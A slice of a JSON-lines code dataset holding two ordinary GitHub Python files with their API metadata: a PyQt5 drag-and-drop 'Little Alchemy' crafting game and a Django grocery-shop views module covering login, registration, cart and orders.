"line_number": 8, "usage_type": "call"}, {"api_name": "cfg.EnviromentManager", "line_number": 11, "usage_type": "attribute"}, {"api_name": "pandas.read_parquet", "line_number": 12, "usage_type": "call"}, {"api_name": "cfg.TARGET_NAME", "line_number": 12, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 14, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 15, "usage_type": "call"}, {"api_name": "cfg.TARGET_NAME", "line_number": 15, "usage_type": "attribute"}, {"api_name": "cfg.MAIN_SEED", "line_number": 15, "usage_type": "attribute"}, {"api_name": "src.util.create_dir_from_path", "line_number": 22, "usage_type": "call"}, {"api_name": "src.util", "line_number": 22, "usage_type": "name"}, {"api_name": "src.util.setup_logging", "line_number": 28, "usage_type": "call"}, {"api_name": "src.util", "line_number": 28, "usage_type": "name"}, {"api_name": "cfg.EnviromentManager.from_enviroment", "line_number": 29, "usage_type": "call"}, {"api_name": "cfg.EnviromentManager", "line_number": 29, "usage_type": "attribute"}]} {"seq_id": "12866861025", "text": "from PyQt5.QtCore import (QByteArray, QDataStream, QFile, QIODevice, QMimeData,\n QPoint, QRect, QRectF, Qt, QTextStream)\nfrom PyQt5.QtGui import (QCursor, QDrag, QFont, QFontMetrics, QImage, QPainter,\n QPalette, QPixmap, qRgba)\nfrom PyQt5.QtWidgets import QApplication, QLabel, QWidget\n\nimport fridgemagnets_rc\n\n\nclass DragLabel(QLabel):\n def __init__(self, text, parent):\n super(DragLabel, self).__init__(parent)\n\n metric = QFontMetrics(self.font())\n size = metric.size(Qt.TextSingleLine, text)\n\n image = QImage(size.width() + 12, size.height() + 12,\n QImage.Format_ARGB32_Premultiplied)\n image.fill(qRgba(0, 0, 0, 0))\n\n font = QFont()\n font.setStyleStrategy(QFont.ForceOutline)\n\n painter = QPainter()\n painter.begin(image)\n painter.setRenderHint(QPainter.Antialiasing)\n painter.setBrush(Qt.white)\n painter.drawRoundedRect(\n QRectF(0.5, 0.5, image.width()-1, image.height()-1),\n 25, 25, Qt.RelativeSize)\n\n painter.setFont(font)\n painter.setBrush(Qt.black)\n painter.drawText(QRect(QPoint(6, 6), size), Qt.AlignCenter, text)\n painter.end()\n\n self.setPixmap(QPixmap.fromImage(image))\n self.labelText = text\n self.setAttribute(Qt.WA_DeleteOnClose)\n\nclass DragWidget(QWidget):\n def __init__(self, win_x=600, win_y=400, parent=None):\n super(DragWidget, self).__init__(parent)\n\n dictionaryFile = QFile('recipe_input.txt')\n dictionaryFile.open(QFile.ReadOnly)\n\n self.recipe = {}\n \n x = 5\n y = win_y / 3 + 5\n\n # read recipes from file\n tempHash = {}\n for line in QTextStream(dictionaryFile).readAll().split():\n result,formula = line.split(\"=\")\n # avoid making duplicate labels for result\n if result not in tempHash:\n wordLabel = DragLabel(result, self)\n wordLabel.show()\n wordLabel.move(x, y)\n x += wordLabel.width() + 2\n if x >= 530:\n x = 5\n y += wordLabel.height() + 2\n else:\n wordLabel = tempHash[result]\n # split formula into components\n components = formula.split(\"+\")\n if len(components) > 1:\n self.recipe[formula] = wordLabel\n self.recipe[components[1]+\"+\"+components[0]] = wordLabel\n wordLabel.hide()\n tempHash[result] = wordLabel\n else:\n wordLabel.show()\n \n\n newPalette = self.palette()\n newPalette.setColor(QPalette.Window, Qt.white)\n self.setPalette(newPalette)\n\n self.setFixedSize(win_x, win_y)\n self.setWindowTitle(\"Little Alchemy Imitation\")\n self.setAcceptDrops(True)\n\n # start location of drag\n # 0 => ingredients section, 1 => craft slot 1, 2 => craft slot 2, 3=> craft result\n self.startLocation = None\n # end location of drag\n # 0 => ingredients section, 1 => craft slot 1, 2 => craft slot 2, 3=> craft result\n self.endLocation = None\n\n # label in slot1\n self.slot1 = None\n # label in slot2\n self.slot2 = None\n # label in result\n self.result = None\n\n # for count display\n self.count = 0\n self.total = len(tempHash)\n self.countDisplay = QLabel(str(self.count) + \"/\" + str(self.total), self)\n self.countDisplay.show()\n self.countDisplay.setAttribute(Qt.WA_DeleteOnClose)\n self.centerLabel(self.countDisplay, self.width()/2, self.height()*5/6)\n\n def paintEvent(self, event):\n qp = QPainter()\n qp.begin(self)\n # border\n qp.drawLine(0, self.height()/3, self.width(), self.height()/3)\n # slot 1\n qp.drawRect(self.width()*3/18, self.height()/12, self.width()/9, self.height()/6)\n # plus\n qp.drawLine(self.width()*5.5/18, self.height()*2/12, self.width()*6.5/18, self.height()*2/12)\n qp.drawLine(self.width()*6/18, self.height()*2/12 - self.width()/36, self.width()*6/18, self.height()*2/12+self.width()/36)\n # slot 2\n qp.drawRect(self.width()*7/18, self.height()/12, self.width()/9, self.height()/6)\n # arrow\n qp.drawLine(self.width()*10/18, self.height()*2/12, self.width()*11/18, self.height()*2/12)\n qp.drawLine(self.width()*10.5/18, self.height()*1.75/12, self.width()*11/18, self.height()*2/12)\n qp.drawLine(self.width()*10.5/18, self.height()*2.25/12, self.width()*11/18, self.height()*2/12)\n # result\n qp.drawRect(self.width()*12/18, self.height()/12, self.width()/9, self.height()/6)\n qp.end()\n\n def dragEnterEvent(self, event):\n if event.mimeData().hasFormat('application/x-fridgemagnet'):\n if event.source() in self.children():\n event.setDropAction(Qt.MoveAction)\n event.accept()\n else:\n event.acceptProposedAction()\n elif event.mimeData().hasText():\n event.acceptProposedAction()\n else:\n event.ignore()\n\n def dragMoveEvent(self, event):\n if event.mimeData().hasFormat('application/x-fridgemagnet'):\n if event.source() == self:\n # store location of drag end\n self.endLocation = self.getLocation(self.mapFromGlobal(QCursor().pos()))\n## print(endLocation)\n # set action depending on drag start and end\n self.setAction(event, self.startLocation, self.endLocation)\n else:\n event.acceptProposedAction()\n else:\n event.ignore()\n\n def dropEvent(self, event):\n if event.mimeData().hasFormat('application/x-fridgemagnet'):\n mime = event.mimeData()\n itemData = mime.data('application/x-fridgemagnet')\n dataStream = QDataStream(itemData, QIODevice.ReadOnly)\n\n text = QByteArray()\n offset = QPoint()\n dataStream >> text >> offset\n\n try:\n # Python v3.\n text = str(text, encoding='latin1')\n except TypeError:\n # Python v2.\n text = str(text)\n\n newLabel = DragLabel(text, self)\n newLabel.move(event.pos() - offset)\n newLabel.show()\n\n # crafting logic\n self.processDrop(newLabel, event.proposedAction()) \n\n event.acceptProposedAction()\n\n## if event.source() in self.children():\n## event.setDropAction(Qt.MoveAction)\n## event.accept()\n## else:\n## event.acceptProposedAction()\n elif event.mimeData().hasText():\n pieces = event.mimeData().text().split()\n position = event.pos()\n\n for piece in pieces:\n newLabel = DragLabel(piece, self)\n newLabel.move(position)\n newLabel.show()\n\n position += QPoint(newLabel.width(), 0)\n\n event.acceptProposedAction()\n else:\n event.ignore()\n\n def mousePressEvent(self, event):\n child = self.childAt(event.pos())\n if not child:\n return\n\n if child is self.result or child is self.countDisplay:\n return\n\n # store location of drag start\n self.startLocation = self.getLocation(self.mapFromGlobal(QCursor().pos()))\n## print(self.startLocation)\n\n itemData = QByteArray()\n dataStream = QDataStream(itemData, QIODevice.WriteOnly)\n dataStream << QByteArray(child.labelText) << QPoint(event.pos() - child.pos())\n\n mimeData = QMimeData()\n mimeData.setData('application/x-fridgemagnet', itemData)\n mimeData.setText(child.labelText)\n\n drag = QDrag(self)\n drag.setMimeData(mimeData)\n drag.setHotSpot(event.pos() - child.pos())\n drag.setPixmap(child.pixmap())\n\n child.hide()\n\n if drag.exec_(Qt.MoveAction | Qt.CopyAction, Qt.MoveAction) == Qt.MoveAction:\n child.close()\n else:\n child.show()\n \n # returns index of location on widget\n # 0 => ingredients section, 1 => craft slot 1, 2 => craft slot 2, 3=> craft result\n def getLocation(self, coords):\n # ingredients\n if coords.y() >= self.height()/3:\n return 0\n # slots / result\n elif self.height()/12 <= coords.y() and coords.y() <= self.height()/4:\n # slot 1\n if self.width()*3/18 <= coords.x() and coords.x() <= self.width()*5/18: \n return 1\n # slot 2\n elif self.width()*7/18 <= coords.x() and coords.x() <= self.width()*9/18:\n return 2\n # result\n elif self.width()*12/18 <= coords.x() and coords.x() <= self.width()*14/18:\n return 3\n # everything else\n return -1\n\n # determines what action to take depending where drag started and ended\n def setAction(self, event, startLoc, endLoc):\n # cannot put object into result or invalid areas\n if startLoc < 0:\n event.ignore()\n return\n \n # the only copy condition: ingredients to slots\n if startLoc is 0 and (endLoc is 1 or endLoc is 2):\n event.setDropAction(Qt.CopyAction)\n event.accept()\n return\n \n # the only move condition: slot to anywhere (if invalid, will remove ingredient from slot)\n if (startLoc is 1 or startLoc is 2):\n event.setDropAction(Qt.MoveAction)\n event.accept()\n return\n\n event.ignore()\n return\n\n # logic that checks whether to craft and whether craft is successful\n def processDrop(self, label, action):\n## print(self.startLocation, self.endLocation, action)\n\n # ingredient put onto a slot\n if self.endLocation is 1 or self.endLocation is 2:\n # slot 1\n if self.endLocation is 1:\n # remove existing ingredient in slot\n if self.slot1 is not None:\n self.slot1.close()\n # refresh other slot and result if starting a new formula\n if (self.result is not None) or (action == Qt.MoveAction):\n if self.result is not None:\n self.result.close()\n self.result = None\n if self.slot2 is not None:\n self.slot2.close()\n self.slot2 = None\n # save label so we can access/destroy it later\n self.slot1 = label\n self.centerLabel(label, self.width()*4/18, self.height()*2/12)\n # slot 2\n else:\n # remove existing ingredient in slot\n if self.slot2 is not None:\n self.slot2.close()\n # refresh other slot and result if starting a new formula\n if (self.result is not None) or (action == Qt.MoveAction):\n if self.result is not None:\n self.result.close()\n self.result = None\n if self.slot1 is not None:\n self.slot1.close()\n self.slot1 = None\n # save label so we can access/destroy it later\n self.slot2 = label\n self.centerLabel(label, self.width()*8/18, self.height()*2/12)\n\n # craft something if both slots are now filled\n if self.slot1 is not None and self.slot2 is not None:\n # check if formula is valid\n formula = self.slot1.labelText+\"+\"+self.slot2.labelText\n if formula in self.recipe:\n resultLabel = self.recipe[formula]\n # show result\n self.result = DragLabel(resultLabel.labelText, self)\n self.result.show()\n self.centerLabel(self.result, self.width()*13/18, self.height()*2/12)\n # check if result is new\n if not resultLabel.isVisible():\n self.count += 1\n # update count display\n self.countDisplay.close()\n self.countDisplay = QLabel(str(self.count) + \"/\" + str(self.total), self)\n self.countDisplay.show()\n self.countDisplay.setAttribute(Qt.WA_DeleteOnClose)\n self.centerLabel(self.countDisplay, self.width()/2, self.height()*5/6)\n # show result as a new ingredient\n resultLabel.show()\n # invalid formula\n else:\n self.result = QLabel(\"Invalid\", self)\n self.result.show()\n self.result.setAttribute(Qt.WA_DeleteOnClose)\n self.centerLabel(self.result, self.width()*13/18, self.height()*2/12)\n\n # invalid move, destroy new and old label\n elif self.startLocation is 1:\n label.close()\n self.slot1.close()\n self.slot1 = None\n elif self.startLocation is 2:\n label.close()\n self.slot2.close()\n self.slot2 = None\n\n # center labels\n def centerLabel(self, label, center_x, center_y):\n label.move(center_x - label.width() / 2, center_y - label.height() / 2)\n\nif __name__ == '__main__':\n\n import sys\n\n app = QApplication(sys.argv)\n window = DragWidget()\n window.show() \n \n sys.exit(app.exec_())\n", "repo_name": "rayjofu/LittleAlchemyImitation", "sub_path": "LittleAlchemyImitation.py", "file_name": "LittleAlchemyImitation.py", "file_ext": "py", "file_size_in_byte": 13782, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 10, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QFontMetrics", "line_number": 14, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.TextSingleLine", "line_number": 15, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 15, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QImage", "line_number": 17, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QImage.Format_ARGB32_Premultiplied", "line_number": 18, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QImage", "line_number": 18, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.qRgba", "line_number": 19, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 21, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QFont.ForceOutline", "line_number": 22, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 22, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QPainter", "line_number": 24, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QPainter.Antialiasing", "line_number": 26, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QPainter", "line_number": 26, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.white", "line_number": 27, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 27, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRectF", "line_number": 29, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.RelativeSize", "line_number": 30, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 30, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.black", "line_number": 33, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 33, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 34, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QPoint", "line_number": 34, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.AlignCenter", "line_number": 34, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 34, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QPixmap.fromImage", "line_number": 37, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QPixmap", "line_number": 37, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.WA_DeleteOnClose", "line_number": 39, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 39, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 41, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QFile", "line_number": 45, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QFile.ReadOnly", "line_number": 46, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.QFile", "line_number": 46, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QTextStream", "line_number": 55, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QPalette.Window", "line_number": 80, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QPalette", "line_number": 80, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.white", "line_number": 80, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 80, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 104, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.WA_DeleteOnClose", "line_number": 106, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 106, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QPainter", "line_number": 110, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.MoveAction", "line_number": 132, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 132, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QCursor", "line_number": 145, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QDataStream", "line_number": 158, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QIODevice.ReadOnly", "line_number": 158, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.QIODevice", "line_number": 158, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QByteArray", "line_number": 160, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QPoint", "line_number": 161, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QPoint", "line_number": 194, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QCursor", "line_number": 209, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QByteArray", "line_number": 212, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QDataStream", "line_number": 213, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QIODevice.WriteOnly", "line_number": 213, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.QIODevice", "line_number": 213, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QByteArray", "line_number": 214, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QPoint", "line_number": 214, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QMimeData", "line_number": 216, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QDrag", "line_number": 220, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.MoveAction", "line_number": 227, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 227, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.CopyAction", "line_number": 227, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt.CopyAction", "line_number": 261, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 261, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.MoveAction", "line_number": 267, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 267, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.MoveAction", "line_number": 286, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 286, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.MoveAction", "line_number": 302, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 302, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 328, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.WA_DeleteOnClose", "line_number": 330, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 330, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 336, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.WA_DeleteOnClose", "line_number": 338, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 338, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 359, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 359, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 363, "usage_type": "call"}]} {"seq_id": "19898025919", "text": "import uuid\nfrom django.contrib.auth.hashers import make_password, check_password\nfrom django.core.cache import cache\nfrom django.core.mail import send_mail\nfrom django.http import HttpResponse, JsonResponse\nfrom django.shortcuts import render, redirect\nfrom django.template import loader\nfrom django.urls import reverse\nfrom AXF.settings import MEDIA_KEY_PREFIX, EMAIL_HOST_USER\nfrom app.models import AXFUser, MainWheel, MainNav, MainMustBuy, MainShop, MainShow, FoodType, Goods, Cart, Order, \\\n OrderGoods\nfrom app.views_constant import HTTP_OK, HTTP_USER_EXIST, send_email_active, ALL_TYPE, ORDER_TOTAL, ORDER_PRICE_UP, \\\n ORDER_PRICE_DOWN, ORDER_SALE_UP, ORDER_SALE_DOWN, get_total_price\n\n\ndef index(request):\n return HttpResponse('index')\n\n\ndef mine(request):\n user_id = request.session.get('user_id')\n data = {\n 'title': '我的',\n 'is_login': False,\n }\n if user_id:\n user = AXFUser.objects.get(pk=user_id)\n data['is_login'] = True\n data['username'] = user.u_username\n data['icon'] = MEDIA_KEY_PREFIX + user.u_icon.url\n\n return render(request, 'main/mine.html', context=data)\n\n\ndef register(request):\n if request.method == 'GET':\n data = {\n 'title': '注册',\n }\n return render(request, 'user/register.html', context=data)\n if request.method == 'POST':\n username = request.POST.get('username')\n email = request.POST.get('email')\n password = request.POST.get('password')\n\n # 数据加密\n password = make_password(password)\n icon = request.FILES.get('icon')\n user = AXFUser()\n user.u_username = username\n user.u_email = email\n user.u_password = password\n user.u_icon = icon\n user.save()\n u_token = uuid.uuid4().hex\n cache.set(u_token, user.id, timeout=60 * 60 * 24)\n send_email_active(username, email, u_token)\n return redirect(reverse('axf:login'))\n\n\ndef login(request):\n if request.method == 'GET':\n\n error_message = request.session.get('error_message')\n\n data = {\n 'title': '登录',\n }\n\n if error_message:\n del request.session['error_message']\n data['error_message'] = error_message\n\n return render(request, 'user/login.html', context=data)\n if request.method == 'POST':\n username = request.POST.get('username')\n password = request.POST.get('password')\n users = AXFUser.objects.filter(u_username=username)\n if users.exists():\n user = users.first()\n if check_password(password, user.u_password):\n if user.is_active:\n request.session['user_id'] = user.id\n return redirect(reverse('axf:mine'))\n else:\n print('用户未激活')\n request.session['error_message'] = 'not active'\n redirect(reverse(\"axf:login\"))\n else:\n print('密码错误')\n request.session['error_message'] = 'password error'\n redirect(reverse(\"axf:login\"))\n else:\n print('用户名不存在')\n request.session['error_message'] = 'user does not exist'\n return redirect(reverse('axf:login'))\n\n\ndef check_user(request):\n username = request.GET.get('username')\n users = AXFUser.objects.filter(u_username=username)\n data = {\n 'status': HTTP_OK,\n 'msg': 'ok',\n }\n if users.exists():\n data['status'] = HTTP_USER_EXIST\n data['msg'] = 'User Already Exists'\n else:\n pass\n return JsonResponse(data=data)\n\n\ndef logout(request):\n request.session.flush()\n return redirect(reverse('axf:mine'))\n\n\ndef active(request):\n u_token = request.GET.get('u_token')\n user_id = cache.get(u_token)\n if user_id:\n cache.delete(u_token)\n user = AXFUser.objects.get(pk=user_id)\n user.is_active = True\n user.save()\n return redirect(reverse('axf:login'))\n return render(request, 'user/active_fail.html')\n\n\ndef home(request):\n main_wheels = MainWheel.objects.all()\n main_navs = MainNav.objects.all()\n main_mustbuys = MainMustBuy.objects.all()\n main_shop = MainShop.objects.all()\n main_shop0_1 = main_shop[0:1]\n main_shop1_3 = main_shop[1:3]\n main_shop3_7 = main_shop[3:7]\n main_shop7_11 = main_shop[7:11]\n main_shows = MainShow.objects.all()\n data = {\n 'title': '首页',\n 'main_wheels': main_wheels,\n 'main_navs': main_navs,\n 'main_mustbuys': main_mustbuys,\n 'main_shop0_1': main_shop0_1,\n 'main_shop1_3': main_shop1_3,\n 'main_shop3_7': main_shop3_7,\n 'main_shop7_11': main_shop7_11,\n 'main_shows': main_shows,\n }\n return render(request, 'main/home.html', context=data)\n\n\ndef market(request):\n return redirect(reverse('axf:market_with_params', kwargs={\n 'typeid': 104749,\n 'childcid': 0,\n 'order_rule': 0,\n }))\n\n\ndef market_with_params(request, typeid, childcid, order_rule):\n foodtypes = FoodType.objects.all()\n goods_list = Goods.objects.filter(categoryid=typeid)\n\n if childcid == ALL_TYPE:\n pass\n else:\n goods_list = goods_list.filter(childcid=childcid)\n\n if order_rule == ORDER_TOTAL:\n pass\n elif order_rule == ORDER_PRICE_UP:\n goods_list = goods_list.order_by('price')\n elif order_rule == ORDER_PRICE_DOWN:\n goods_list = goods_list.order_by('-price')\n elif order_rule == ORDER_SALE_UP:\n goods_list = goods_list.order_by('productnum')\n elif order_rule == ORDER_SALE_DOWN:\n goods_list = goods_list.order_by('-productnum')\n\n foodtype = foodtypes.get(typeid=typeid)\n foodtypechildnames = foodtype.childtypenames\n foodtypechildname_list = foodtypechildnames.split(\"#\")\n foodtype_childname_list = []\n for foodtypechildname in foodtypechildname_list:\n foodtype_childname_list.append(foodtypechildname.split(\":\"))\n\n order_rule_list = [\n ['綜合排序', ORDER_TOTAL],\n ['价格升序', ORDER_PRICE_UP],\n ['价格降序', ORDER_PRICE_DOWN],\n ['销量升序', ORDER_SALE_UP],\n ['销量降序', ORDER_SALE_DOWN],\n ]\n\n data = {\n 'title': '闪购',\n 'foodtypes': foodtypes,\n 'goods_list': goods_list,\n # 可能造成类型不一致\n 'typeid': int(typeid),\n 'foodtype_childname_list': foodtype_childname_list,\n 'childcid': childcid,\n 'order_rule_list': order_rule_list,\n 'order_rule_view': order_rule,\n\n }\n return render(request, 'main/market.html', context=data)\n\n\ndef cart(request):\n carts = Cart.objects.filter(c_user=request.user)\n\n is_all_select = not carts.filter(c_is_select=False).exists()\n\n data = {\n 'title': '购物车',\n 'carts': carts,\n 'is_all_select': is_all_select,\n 'total_price': get_total_price(),\n }\n\n return render(request, 'main/cart.html', context=data)\n\n\ndef add_to_cart(request):\n goodsid = request.GET.get('goodsid')\n carts = Cart.objects.filter(c_user=request.user).filter(c_goods_id=goodsid)\n if carts.exists():\n cart_object = carts.first()\n cart_object.c_goods_num = cart_object.c_goods_num + 1\n else:\n cart_object = Cart()\n cart_object.c_goods_id = goodsid\n cart_object.c_user = request.user\n cart_object.save()\n\n data = {\n 'status': 200,\n 'msg': 'add success',\n 'c_goods_num': cart_object.c_goods_num,\n }\n return JsonResponse(data)\n\n\ndef change_cart_state(request):\n cart_id = request.GET.get('cartid')\n cart_obj = Cart.objects.get(pk=cart_id)\n cart_obj.c_is_select = not cart_obj.c_is_select\n cart_obj.save()\n\n is_all_select = not Cart.objects.filter(c_user=request.user).filter(c_is_select=False).exists()\n\n data = {\n 'status': 200,\n 'msg': 'change ok',\n 'c_is_select': cart_obj.c_is_select,\n 'is_all_select': is_all_select,\n 'total_price': get_total_price(),\n }\n\n return JsonResponse(data=data)\n\n\ndef sub_shopping(request):\n cart_id = request.GET.get('cartid')\n cart_obj = Cart.objects.get(pk=cart_id)\n\n data = {\n 'status': 200,\n 'msg': 'ok',\n\n }\n\n if cart_obj.c_goods_num > 1:\n cart_obj.c_goods_num = cart_obj.c_goods_num - 1\n cart_obj.save()\n data['c_goods_num'] = cart_obj.c_goods_num\n else:\n cart_obj.delete()\n data['c_goods_num'] = 0\n\n data['total_price'] = get_total_price()\n\n return JsonResponse(data=data)\n\n\ndef all_select(request):\n cart_list = request.GET.get('cart_list')\n cart_list = cart_list.split(\"#\")\n carts = Cart.objects.filter(id__in=cart_list)\n for cart_obj in carts:\n cart_obj.c_is_select = not cart_obj.c_is_select\n cart_obj.save()\n\n data = {\n 'status': 200,\n 'msg': 'ok',\n 'total_price': get_total_price(),\n }\n\n return JsonResponse(data=data)\n\n\ndef make_order(request):\n carts = Cart.objects.filter(c_user=request.user).filter(c_is_select=True)\n\n order = Order()\n order.o_user = request.user\n order.o_price = get_total_price()\n order.save()\n\n for cart_obj in carts:\n ordergoods = OrderGoods()\n ordergoods.o_order = order\n ordergoods.o_goods_num = cart_obj.c_goods_num\n ordergoods.o_goods = cart_obj.c_goods\n ordergoods.save()\n cart_obj.delete()\n\n data = {\n 'status': 200,\n 'msg': 'ok',\n 'order_id': order.id,\n }\n return JsonResponse(data=data)\n\n\ndef order_detail(request):\n order_id = request.GET.get('orderid')\n order = Order.objects.get(pk=order_id)\n\n data = {\n 'title': '订单详情',\n 'order': order,\n }\n\n return render(request, 'order/order_detail.html', context=data)\n", "repo_name": "jiangjiangang/first", "sub_path": "AXF/app/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 9895, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.http.HttpResponse", "line_number": 17, "usage_type": "call"}, {"api_name": "app.models.AXFUser.objects.get", "line_number": 27, "usage_type": "call"}, {"api_name": "app.models.AXFUser.objects", "line_number": 27, "usage_type": "attribute"}, {"api_name": "app.models.AXFUser", "line_number": 27, "usage_type": "name"}, {"api_name": "AXF.settings.MEDIA_KEY_PREFIX", "line_number": 30, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 32, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 40, "usage_type": "call"}, {"api_name": "django.contrib.auth.hashers.make_password", "line_number": 47, "usage_type": "call"}, {"api_name": "app.models.AXFUser", "line_number": 49, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 55, "usage_type": "call"}, {"api_name": "django.core.cache.cache.set", "line_number": 56, "usage_type": "call"}, {"api_name": "django.core.cache.cache", "line_number": 56, "usage_type": "name"}, {"api_name": "app.views_constant.send_email_active", "line_number": 57, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 58, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 58, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 74, "usage_type": "call"}, {"api_name": "app.models.AXFUser.objects.filter", "line_number": 78, "usage_type": "call"}, {"api_name": "app.models.AXFUser.objects", "line_number": 78, "usage_type": "attribute"}, {"api_name": "app.models.AXFUser", "line_number": 78, "usage_type": "name"}, {"api_name": "django.contrib.auth.hashers.check_password", "line_number": 81, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 84, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 84, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 88, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 88, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 92, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 92, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 96, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 96, "usage_type": "call"}, {"api_name": "app.models.AXFUser.objects.filter", "line_number": 101, "usage_type": "call"}, {"api_name": "app.models.AXFUser.objects", "line_number": 101, "usage_type": "attribute"}, {"api_name": "app.models.AXFUser", "line_number": 101, "usage_type": "name"}, {"api_name": "app.views_constant.HTTP_OK", "line_number": 103, "usage_type": "name"}, {"api_name": "app.views_constant.HTTP_USER_EXIST", "line_number": 107, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 111, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 116, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 116, "usage_type": "call"}, {"api_name": "django.core.cache.cache.get", "line_number": 121, "usage_type": "call"}, {"api_name": "django.core.cache.cache", 